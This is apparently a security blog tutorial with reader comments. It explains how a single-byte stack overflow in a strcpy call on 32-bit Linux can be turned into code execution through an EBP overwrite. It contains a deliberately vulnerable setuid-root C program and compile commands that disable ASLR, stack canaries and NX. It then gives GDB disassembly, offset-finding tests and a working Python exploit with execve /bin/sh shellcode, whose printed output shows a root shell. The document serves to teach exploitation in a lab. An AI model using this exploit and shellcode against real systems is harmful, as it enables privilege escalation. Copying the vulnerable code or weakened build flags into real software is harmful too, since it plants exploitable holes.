Off-By-One Vulnerability (Stack Based)

Prerequisite:

  1. Classic Stack Based Buffer Overflow 

VM Setup: Ubuntu 12.04 (x86)

What is off-by-one bug?

Copying source string into destination buffer could result in off-by-one when

  1. Source string length is equal to destination buffer length.

When source string length is equal to destination buffer length, a single NULL byte gets copied just above the destination buffer. Here since the destination buffer is located in stack, the single NULL byte could overwrite the least significant bit (LSB) of caller’s EBP stored in the stack and this could lead to arbitrary code execution.

As always enough of definitions, lets look into an off-by-one vulnerable code!!

Vulnerable Code:

//vuln.c
#include <stdio.h>
#include <string.h>

void foo(char* arg);
void bar(char* arg);

void foo(char* arg) {
 bar(arg); /* [1] */
}

void bar(char* arg) {
 char buf[256];
 strcpy(buf, arg); /* [2] */
}

int main(int argc, char *argv[]) {
 if(strlen(argv[1])>256) { /* [3] */
  printf("Attempted Buffer Overflow\n");
  fflush(stdout);
  return -1;
 }
 foo(argv[1]); /* [4] */
 return 0;
}

Compilation Commands:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Line [2] of the above vulnerable code is where the off-by-one overflow could occur. Destination buffer length is 256 and hence source string of length 256 bytes could lead to arbitrary code execution.

How arbitrary code execution is achieved?

Arbitrary code execution is achieved using a technique called “EBP overwrite”. If callers’s EBP is located just above the destination buffer then after strcpy, a single NULL byte would have overwritten the LSB of caller’s EBP. To understand more about off-by-one lets disassemble vulnerable code and draw the stack layout for it.

Disassembly:

 (gdb) disassemble main
Dump of assembler code for function main:
 //Function Prologue
 0x08048497 <+0>: push %ebp                    //backup caller's ebp
 0x08048498 <+1>: mov %esp,%ebp                //set callee's (main) ebp to esp
 0x0804849a <+3>: push %edi                    //backup EDI
 0x0804849b <+4>: sub $0x8,%esp                //create stack space
 0x0804849e <+7>: mov 0xc(%ebp),%eax           //eax = argv
 0x080484a1 <+10>: add $0x4,%eax               //eax = &argv[1]
 0x080484a4 <+13>: mov (%eax),%eax             //eax = argv[1]
 0x080484a6 <+15>: movl $0xffffffff,-0x8(%ebp) //String Length Calculation -- Begins here
 0x080484ad <+22>: mov %eax,%edx
 0x080484af <+24>: mov $0x0,%eax
 0x080484b4 <+29>: mov -0x8(%ebp),%ecx
 0x080484b7 <+32>: mov %edx,%edi
 0x080484b9 <+34>: repnz scas %es:(%edi),%al
 0x080484bb <+36>: mov %ecx,%eax
 0x080484bd <+38>: not %eax
 0x080484bf <+40>: sub $0x1,%eax               //String Length Calculation -- Ends here
 0x080484c2 <+43>: cmp $0x100,%eax             //eax = strlen(argv[1]). if eax > 256
 0x080484c7 <+48>: jbe 0x80484e9 <main+82>     //Jmp if NOT greater
 0x080484c9 <+50>: movl $0x80485e0,(%esp)      //If greater print error string,flush and return.
 0x080484d0 <+57>: call 0x8048380 <puts@plt>   
 0x080484d5 <+62>: mov 0x804a020,%eax          
 0x080484da <+67>: mov %eax,(%esp)             
 0x080484dd <+70>: call 0x8048360 <fflush@plt>
 0x080484e2 <+75>: mov $0x1,%eax              
 0x080484e7 <+80>: jmp 0x80484fe <main+103>
 0x080484e9 <+82>: mov 0xc(%ebp),%eax          //argv[1] <= 256, eax = argv
 0x080484ec <+85>: add $0x4,%eax               //eax = &argv[1]
 0x080484ef <+88>: mov (%eax),%eax             //eax = argv[1]
 0x080484f1 <+90>: mov %eax,(%esp)             //foo arg
 0x080484f4 <+93>: call 0x8048464              //call foo
 0x080484f9 <+98>: mov $0x0,%eax               //return value

 //Function Epilogue
 0x080484fe <+103>: add $0x8,%esp              //unwind stack space
 0x08048501 <+106>: pop %edi                   //restore EDI
 0x08048502 <+107>: pop %ebp                   //restore EBP
 0x08048503 <+108>: ret                        //return
End of assembler dump.
(gdb) disassemble foo
Dump of assembler code for function foo:
 //Function prologue
 0x08048464 <+0>: push %ebp                    //backup caller's (main) ebp
 0x08048465 <+1>: mov %esp,%ebp                //set callee's (foo) ebp to esp
 0x08048467 <+3>: sub $0x4,%esp                //create stack space
 0x0804846a <+6>: mov 0x8(%ebp),%eax           //foo arg
 0x0804846d <+9>: mov %eax,(%esp)              //bar arg = foo arg
 0x08048470 <+12>: call 0x8048477              //call bar

 //Function Epilogue 
 0x08048475 <+17>: leave                       //unwind stack space + restore ebp
 0x08048476 <+18>: ret                         //return
End of assembler dump.
(gdb) disassemble bar
Dump of assembler code for function bar:
 //Function Prologue
 0x08048477 <+0>: push %ebp                    //backup caller's (foo) ebp
 0x08048478 <+1>: mov %esp,%ebp                //set callee's (bar) ebp to esp
 0x0804847a <+3>: sub $0x108,%esp              //create stack space
 0x08048480 <+9>: mov 0x8(%ebp),%eax           //bar arg
 0x08048483 <+12>: mov %eax,0x4(%esp)          //strcpy arg2
 0x08048487 <+16>: lea -0x100(%ebp),%eax       //buf
 0x0804848d <+22>: mov %eax,(%esp)             //strcpy arg1
 0x08048490 <+25>: call 0x8048370 <strcpy@plt> //call strcpy

 //Function Epilogue
 0x08048495 <+30>: leave                       //unwind stack space + restore ebp
 0x08048496 <+31>: ret                         //return
End of assembler dump.
(gdb)

Stack Layout:

As we already know user input of size 256, overwrites the LSB of foo’s EBP with a NULL byte. So when foo’s EBP stored just above destination buffer ‘buf’ is overwritten with a single NULL byte, ebp gets changed from 0xbffff2d8 to 0xbffff200. From the stack layout we could see that stack location 0xbffff200 is part of destination buffer ‘buf’ and since user input gets copied into this destination buffer, attacker has control over this stack location (0xbffff200) and thus he has control over instruction pointer (eip) using which he can achieve arbitrary code execution. Lets test this out by sending a series of “A”‘s of size 256.

Test Step 1: Is EBP overwrite and thus return address overwrite possible?

(gdb) r `python -c 'print "A"*256'`
Starting program: /home/sploitfun/lsploits/new/obo/stack/vuln `python -c 'print "A"*256'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)

Above output shows we have control over instruction pointer (EIP) because of EBP overwrite!!

Test Step 2: What is the offset from destination buffer.

Now lets find at what offset from the beginning of the destination buffer ‘buf’, we need to place our return address. Do remember in off-by-one vulnerability we arent overwriting actual return address stored in stack (like we do in stack based buffer overflows) instead a 4 byte memory region inside the attacker controlled destination buffer ‘buf’ will be treated as return address location (after off-by-one overflow). Thus we need to find this return address location offset (from ‘buf’) which is part of destination buffer ‘buf’ itself. Not very clear, no issues just read on!!

Lets now try to understand CPU execution starting at text segment address 0x08048490:

  • 0x08048490 – call strcpy – This instruction execution results in off-by-one overflow, hence foo’s EBP value (stored in stack location 0xbffff2cc) gets changed from 0xbffff2d8 to 0xbffff200.
  • 0x08048495 – leave – A leave instruction unwinds this function’s stack space and restores ebp.
leave: mov ebp, esp;        //unwind stack space by setting esp to ebp. 
       pop ebp;             //restore ebp
*** As per our example: ***
leave: mov ebp, esp;        //esp = ebp = 0xbffff2cc
       pop ebp;             //ebp = 0xbffff200 (Overwritten EBP value is now stored in ebp register); esp = 0xbffff2d0
  • 0x08048495 – ret – Returns to foo’s instruction 0x08048475
  • 0x08048475 – leave – A leave instruction unwinds this function’s stack space and restores ebp.
*** As per our example: ***
leave: mov ebp, esp;        //esp = ebp = 0xbffff200 (As part of unwinding esp is shifted down instead of up!!)
       pop ebp;             //ebp = 0x41414141; esp = 0xbffff204
  • 0x08048476 – ret – Return’s to instruction located at ESP (0xbffff204). Now ESP is pointing to attacker controlled buffer and hence attacker can return to anyplace he wants to achieve arbitrary code execution.

Now lets get back to our original test of finding the offset to return address from destination buffer ‘buf’. As shown in our stack layout picture, ‘buf’ is located at 0xbffff158 and from following the CPU execution we know that return address location inside the destination buffer ‘buf’ is located at 0xbffff204. Hence offset to return address from ‘buf’ is 0xbffff204 – 0xbffff158 = 0xac. Thus user input of form “A”*172 + “B”*4 + “A”*80, overwrites EIP with “BBBB”.

$ cat exp_tst.py 
#exp_tst.py
#!/usr/bin/env python
import struct
from subprocess import call

buf = "A" * 172
buf += "B" * 4
buf += "A" * 80

print "Calling vulnerable program"
call(["./vuln", buf])

$ python exp_tst.py 
Calling vulnerable program
$ sudo gdb -q vuln 
Reading symbols from /home/sploitfun/lsploits/new/obo/stack/vuln...(no debugging symbols found)...done.
(gdb) core-file core
[New LWP 4055]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)

Above output shows that attacker gets control over return address. Return address is located at offset (0xac) from ‘buf’. With these informations, lets write an exploit program to achieve arbitrary code execution.

Exploit Code:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#Spawn a shell. 
#execve(/bin/sh) Size- 28 bytes.
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"

ret_addr = 0xbffff218

#endianess conversion
def conv(num):
 return struct.pack("<I",num)

#Junk + Return Address + NOP's + Shellcode + Junk
buf = "A" * 172
buf += conv(ret_addr)
buf += "\x90" * 30
buf += scode
buf += "A" * 22

print "Calling vulnerable program"
call(["./vuln", buf])

Executing above exploit program gives us root shell as shown below:

$ python exp.py 
Calling vulnerable program
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

Off-by-one looks like a silly bug and its weird that such small mistake by developer could lead to arbitrary code execution. Does off-by-one bug always lead to arbitrary code execution?

What if caller’s EBP isnt present just above destination buffer?

The answer to this question is simple, we cant exploit it using EBP overwrite technique!! ( But some other exploit technique might be possible since after all a bug exists in the code 😛 )

Under what scenarios caller’s EBP wont be present just above the destination buffer?

Scenario 1: Some other local variable might be present above the destination buffer.

...
void bar(char* arg) {
 int x = 10; /* [1] */
 char buf[256]; /* [2] */ 
 strcpy(buf, arg); /* [3] */ 
}
...

Thus in these cases a local variable is found in between the end of buffer ‘ buf’ and EBP which doesnt allow us to overwrite LSB of EBP!!

Scenario 2: Alignment space – By default gcc aligns stack space to 16 bytes boundaries ie) before creating stack space ESP’s last 4 bit is zero’d out using ‘and’ instruction as shown in the below function disassembly.

Dump of assembler code for function main:
 0x08048497 <+0>: push %ebp
 0x08048498 <+1>: mov %esp,%ebp
 0x0804849a <+3>: push %edi
 0x0804849b <+4>: and $0xfffffff0,%esp               //Stack space aligned to 16 byte boundary
 0x0804849e <+7>: sub $0x20,%esp                     //create stack space
...

Thus in these cases an alignment space (of upto 12 bytes) is found in between the end of buffer ‘buf’ and EBP which doesnt allow us to overwrite LSB of EBP!!

Because of this reason we added the gcc argument “-mpreferred-stack-boundary=2” while compiling our vulnerable code (vuln.c)!!

Help!!: What if ESP is already aligned on a 16 byte boundary level before creating stack space? In such cases EBP overwrite should be possible even when program is compiled with gcc’s default stack boundary of 16 bytes. But till now I have failed to create such a working code. In all my trials before creating stack space ESP isnt aligned on a 16 byte boundary no matter how carefullly I create my stack contents, gcc adds some extra space for local variables which makes ESP to be unaligned to 16 byte boundary level. If anybody has a working code or has an answer to why ESP is always unaligned, please let me know!!

Reference:

1. http://seclists.org/bugtraq/1998/Oct/109 

9 thoughts on “Off-By-One Vulnerability (Stack Based)

  1. A note on Scenario 1: if the target binary is compiled using -fstack-protector flag, the compiler rearranges local variables on stack, thus moves more critical ones to higher addresses; for example, an int is moved below a string buffer. This prevents overwriting of other local variables, by moving strings closer to the stack frame. In this case, the situation would faver the attacker; unless stack cookies weren’t be placed on the stack after ebp and the one byte write of off-by-one didn’t couse an abort signal before the return.

    Like

  2. Thank you very much! Very illustrating, though I have a problem with the c compiler. My buffer gets assigned in memory 260 bytes instead of 256 even though I define it as buf[256].
    The check is still comparing against 256 so I can never oveflow the LSB of the saved EBP (unless I change the check). I am compiling with -mpreferred-stack-boundary=2, if I drop this flag the buffer is 264 bytes ubstead of 260, even worse. I want it to be 256 exactly.

    Thanks!

    Like

Leave a comment